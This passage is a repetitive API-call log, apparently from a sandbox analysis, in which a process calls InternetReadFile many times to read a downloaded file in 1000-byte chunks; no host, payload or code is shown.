| out: lpBuffer=0x25d98a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d9c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d9c88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da070*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da458*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da840*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dac28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db010*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db3f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db7e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dbbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dbbc8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dbfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dbfb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dc398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dc398*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.642] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dc780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dc780*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.642] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dcb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dcb68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.642] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dcf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dcf50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.642] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dd338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dd338*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dd720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dd720*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ddb08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ddb08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ddef0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ddef0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25de2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25de2d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25de6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25de6c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25deaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25deaa8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dee90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dee90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25df278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25df278*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25df660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25df660*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dfa48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dfa48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dfe30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dfe30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e0218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e0218*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e0600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e0600*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e09e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e09e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e0dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e0dd0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e11b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e11b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e15a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e15a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e1988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e1988*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e1d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e1d70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2158*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2540*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2928*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2d10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e30f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e30f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e34e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e34e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e38c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e38c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e3cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e3cb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4098*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4480*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4868*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4c50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5038*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5420*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5808*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5bf0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5fd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e63c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e63c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e67a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e67a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e6b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e6b90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e6f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e6f78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7360*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7748*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7b30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7f18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e8300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e8300*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e86e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e86e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e8ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e8ad0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e8eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e8eb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e92a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e92a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e9688, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e9688*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e9a70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e9a70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e9e58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e9e58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ea240, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ea240*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ea628, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ea628*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eaa10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eaa10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eadf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eadf8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eb1e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eb1e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eb5c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eb5c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eb9b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eb9b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ebd98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ebd98*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ec180, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ec180*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ec568, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ec568*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ec950, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ec950*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ecd38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ecd38*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ed120, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ed120*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ed508, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ed508*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ed8f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ed8f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25edcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25edcd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee0c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee4a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee890*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.691] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eec78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.691] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef060*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.691] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef448*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.691] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef830*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.692] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25efc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25efc18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0000, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0000*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f03e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f03e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f07d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f07d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0bb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.718] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0fa0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.722] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1388*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.722] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1770*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.722] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1b58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1b58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.723] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1f40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1f40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.723] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2328, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2328*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2710, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2710*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2af8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2af8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2ee0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2ee0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f32c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f32c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f36b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f36b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f3a98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f3a98*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f3e80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f3e80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4268, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4268*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4650, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4650*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4a38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4a38*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.730] InternetReadFile (in: hFile=0xcc000c, 